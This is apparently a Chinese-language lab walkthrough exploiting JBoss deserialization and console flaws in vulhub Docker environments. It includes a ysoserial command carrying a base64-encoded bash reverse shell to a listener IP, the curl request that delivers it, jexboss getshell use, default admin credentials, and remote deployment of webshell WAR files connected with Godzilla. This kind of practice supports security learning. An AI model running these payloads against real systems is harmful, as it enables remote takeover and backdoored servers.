中间件漏洞—Jboss

一.CVE-2015-7501

 1.搭建服务

cd vulhub-master/jboss/JMXInvokerServlet-deserialization

docker-compose up -d

2.访问网站

3.访问该url出现如下页面，说明存在反序列化漏洞

47.108.150.249:8080/invoker/JMXInvokerServlet

4.准备好base64编码后反弹shell木马

5.下载 ysoserial ⼯具进⾏漏洞利⽤

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDguMTUwLjI0OS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i} ">exp.ser
curl http://47.108.150.249:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

6.成功监听nc -lvvp 6666

二.CVE-2017-7504

 1.搭建服务并访问网站

cd vulhub-master/jboss/CVE-2017-7504

docker-compose up -d

2.访问漏洞地址

jbossmq-httpil/HTTPServerILServlet

3.在kali中执行命令

python3 jexboss.py -u http://47.108.150.249:8080

成功getshell

三.CVE-2017-12149

 1.搭建服务

cd vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

并访问网站

2.该漏洞出现在/invoker/readonly中 ，服务器将⽤户post请求内容进⾏反序列化

返回500，说明⻚⾯存在，此⻚⾯存在反序列化漏洞

3.我们直接用工具连

并成功执行命令

四.Administration Console弱⼝令

 1.搭建服务

cd vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

访问网站，使用弱口令登录  admin vulhub

成功登录

2.点击web应⽤

上传后门 shell.war

该文件为存有木马的jsp文件压缩为zip文件后更改war后缀所得

3.在目录中可以看到我们上传的文件

4.尝试访问，可以访问到

5.复制文件的绝对路径，用哥斯拉进行连接

成功连接！！！

五.低版本JMX Console未授权

1.环境搭建

cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d

访问页面

2.点击jboss.deployment中的这个

3.在这个位置部署war包

4.填写war包远程地址

http://47.108.150.249/cmd.war

跳转页面

5.尝试连接

连接成功

http://47.108.150.249/cmd/shell.jsp

六.高版本JMX Console未授权

1.环境搭建

cd vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

访问网站

2.点击如下链接

3. 填写远程war包地址进行远程部署

4. 搭建远程部署 , 部署远程war包地址

输⼊Invoke: http://47.108.150.249/cmd.war

5.使用哥斯拉进行连接

连接成功